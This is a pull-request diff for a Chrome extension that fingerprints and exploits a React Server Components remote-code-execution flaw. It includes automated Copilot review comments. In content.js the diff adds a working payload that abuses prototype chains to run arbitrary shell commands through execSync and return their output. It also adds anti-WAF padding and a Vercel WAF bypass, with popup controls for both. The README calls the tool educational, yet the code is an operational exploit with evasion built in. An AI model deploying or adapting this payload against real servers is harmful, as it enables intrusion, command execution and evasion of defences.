Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,8 @@ This extension is designed for **educational and security research purposes only

### 🎯 Active Fingerprinting
- Sends controlled RSC probe requests
- Adds prefix padding to bypass some WAFs
- Uses `$3` bypass for Vercel WAF
- Analyzes server responses for RSC characteristics
- Identifies Content-Type headers indicating RSC usage
- Detects Vary headers containing 'RSC'
Expand Down
2 changes: 2 additions & 0 deletions README_cn.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,8 @@

### 🎯 主动指纹识别
- 发送受控的 RSC 探测请求
- 支持通过前缀 padding 绕过一些 WAF
- 支持通过 $3 绕过 Vercel WAF
- 分析服务器响应的 RSC 特征
- 识别指示 RSC 使用的 Content-Type 头
- 检测包含 'RSC' 的 Vary 头
Expand Down
51 changes: 42 additions & 9 deletions content.js
Original file line number Diff line number Diff line change
@@ -1,5 +1,18 @@
// content.js

// 12字符[a-z0-9]
function shortRandString() {
return Math.random().toString(36).substring(2).padEnd(12, '0');
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The shortRandString function may not always return exactly 12 characters. The Math.random().toString(36).substring(2) produces a variable-length string (typically 10-11 characters), and padEnd(12, '0') only pads if it's shorter. However, if the random string is already 12+ characters (rare but possible), it won't be truncated. Consider adding .slice(0, 12) to ensure exactly 12 characters:

return Math.random().toString(36).substring(2).padEnd(12, '0').slice(0, 12);
Suggested change
return Math.random().toString(36).substring(2).padEnd(12, '0');
return Math.random().toString(36).substring(2).padEnd(12, '0').slice(0, 12);

Copilot uses AI. Check for mistakes.
}

// 随机的base64长字符串,长度为 bytes 字符
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment contains incorrect Chinese characters. "随机的base64长字符串,长度为 bytes 字符" should be "随机的base64长字符串,长度为 bytes 字节" since bytes refers to byte length, not character length.

Suggested change
// 随机的base64长字符串,长度为 bytes 字符
// 随机的base64长字符串,长度为 bytes 字节

Copilot uses AI. Check for mistakes.
function longRandString(bytes) {
const length = bytes;
const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The longRandString function has an incorrect calculation for the buffer size. The formula (length * 3 + 2) / 4 is attempting to reverse the Base64 encoding ratio, but this will create a buffer that's too small. For a desired Base64 output of length characters, you need:

const buf = new Uint8Array(Math.ceil((length * 3) / 4));

However, the current implementation will likely fail or produce incorrect lengths because the buffer is undersized.

Suggested change
const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3
const buf = new Uint8Array(Math.ceil((length * 3) / 4)); // Base64 编码后长度是原来的 4/3

Copilot uses AI. Check for mistakes.
crypto.getRandomValues(buf);
return btoa(String.fromCharCode(...buf)).substring(0, length);
}

// === 1. 被动检测 ===
function performPassiveScan() {
let score = 0;
Expand Down Expand Up @@ -45,16 +58,25 @@ async function performFingerprint() {
}

// === 3. RCE 漏洞利用 ===
async function performExploit(cmd) {
// 默认命令
const targetCmd = cmd || "echo vulnerability_test";

async function performExploit({cmd = "echo vulnerability_test", pad = 0, bypassVercel = false} = {}) {
// 构造 Payload,动态插入命令
// 注意:这里需要处理 JS 转义,简单起见直接替换
// Payload 逻辑: execSync('YOUR_CMD').toString().trim()
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${targetCmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const bodyParts = [
// pad, vercel WAF bypass 逻辑来自 https://github.com/assetnote/react2shell-scanner
const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The formData variable for the Vercel bypass case has incorrect JSON escaping. The value '"get":"$3:\"$$:constructor:constructor"}' will result in invalid JSON because the opening brace is missing. Should be:

const formData = bypassVercel ? '{"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
Suggested change
const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
const formData = bypassVercel ? '{"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';

Copilot uses AI. Check for mistakes.
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":${formData}}}`;
const boundary = `----WebKitFormBoundaryO2WP${shortRandString()}`;
let form = [];
if (pad > 0) {
form.push(
`--${boundary}`,
`Content-Disposition: form-data; name="${shortRandString()}"`,
'',
longRandString(pad * 1024),
`--${boundary}`,
);
}
form.push(
`--${boundary}`,
'Content-Disposition: form-data; name="0"',
'',
Expand All @@ -67,9 +89,20 @@ async function performExploit(cmd) {
'Content-Disposition: form-data; name="2"',
'',
'[]',
);
if (bypassVercel) {
form.push(
`--${boundary}`,
'Content-Disposition: form-data; name="3"',
'',
'{"\\"$$":{}}',
);
}
form.push(
`--${boundary}--`,
''
].join('\r\n');
);
const bodyParts = form.join('\r\n');

const targetUrl = "/adfa"; // 使用相对路径

Expand Down Expand Up @@ -143,7 +176,7 @@ chrome.runtime.onMessage.addListener((req, sender, sendResponse) => {
return true;
}
if (req.action === "run_exploit") {
performExploit(req.cmd).then(res => sendResponse(res));
performExploit(req).then(res => sendResponse(res));
return true;
}
});
21 changes: 17 additions & 4 deletions popup.html
Original file line number Diff line number Diff line change
Expand Up @@ -25,8 +25,8 @@

/* 输入框与按钮 */
.input-group { display: flex; margin-bottom: 8px; }
input[type="text"] { flex: 1; padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
input[type="text"]:focus { border-color: #3498db; }
td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The CSS selector change from input[type="text"] to td > input is too broad and will now apply these styles to all input types within table cells, including the number input and checkbox. This could cause unintended styling. Consider using a more specific selector:

td > input[type="text"], td > input[type="number"] { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
Suggested change
td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
td > input[type="text"], td > input[type="number"] { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }

Copilot uses AI. Check for mistakes.
td > input:focus { border-color: #3498db; }

button { border: none; cursor: pointer; color: #fff; font-weight: 600; transition: 0.2s; padding: 8px; font-size: 11px; }
.btn-scan { background: #3498db; width: 100%; border-radius: 4px; }
Expand Down Expand Up @@ -70,8 +70,21 @@
<div class="card-title" style="background: #fff0eb; color: #c0392b;">3. RCE Exploit (CVE-2025-55182)</div>
<div class="card-body">
<div class="input-group">
<input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
<button id="btnExploit" class="btn-exploit">EXEC</button>
<table style="flex: 4">
<tr>
<th><label for="cmdInput" title="Command">CMD</label></th>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td>
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb</td>
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td>
</tr>
</table>
<button id="btnExploit" class="btn-exploit" style="flex: 1">EXEC</button>
Comment on lines +73 to +87
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[nitpick] Inline styles on structural elements reduce maintainability. The style="flex: 4" and style="flex: 1" attributes should be moved to CSS classes for better separation of concerns and maintainability.

Copilot uses AI. Check for mistakes.
</div>
<div id="exploit-status" style="font-size: 10px; color: #7f8c8d; display:none;">Sending payload...</div>
<div id="exploit-result" class="result-box">
Expand Down
11 changes: 7 additions & 4 deletions popup.js
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,11 @@ document.addEventListener('DOMContentLoaded', () => {
activeList: document.getElementById('active-list'),
btnExploit: document.getElementById('btnExploit'),
cmdInput: document.getElementById('cmdInput'),
padInput: document.getElementById('padInput'),
vercelInput: document.getElementById('vercelInput'),
exploitStatus: document.getElementById('exploit-status'),
exploitResult: document.getElementById('exploit-result'),
rceOutput: document.getElementById('rce-output')
rceOutput: document.getElementById('rce-output'),
};

// 1. 获取当前 Tab
Expand Down Expand Up @@ -69,13 +71,14 @@ document.addEventListener('DOMContentLoaded', () => {

// --- 交互:RCE 利用 ---
el.btnExploit.addEventListener('click', () => {
const cmd = el.cmdInput.value || "whoami";
el.btnExploit.disabled = true;
const cmd = el.cmdInput.value;
const pad = +(el.padInput.value) || 0;
const bypassVercel = el.vercelInput.checked;
Comment on lines +75 to +76
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

References to el.padInput and el.vercelInput are used but these elements are not defined in the el object at the top of the file. Add these element references to avoid runtime errors:

const el = {
    // ... existing elements
    padInput: document.getElementById('padInput'),
    vercelInput: document.getElementById('vercelInput')
};

Copilot uses AI. Check for mistakes.
el.exploitStatus.style.display = 'block';
el.exploitResult.style.display = 'none';
el.rceOutput.className = 'console-out'; // 重置样式

chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd: cmd}, (res) => {
chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd, pad, bypassVercel}, (res) => {
el.btnExploit.disabled = false;
el.exploitStatus.style.display = 'none';
el.exploitResult.style.display = 'block';
Expand Down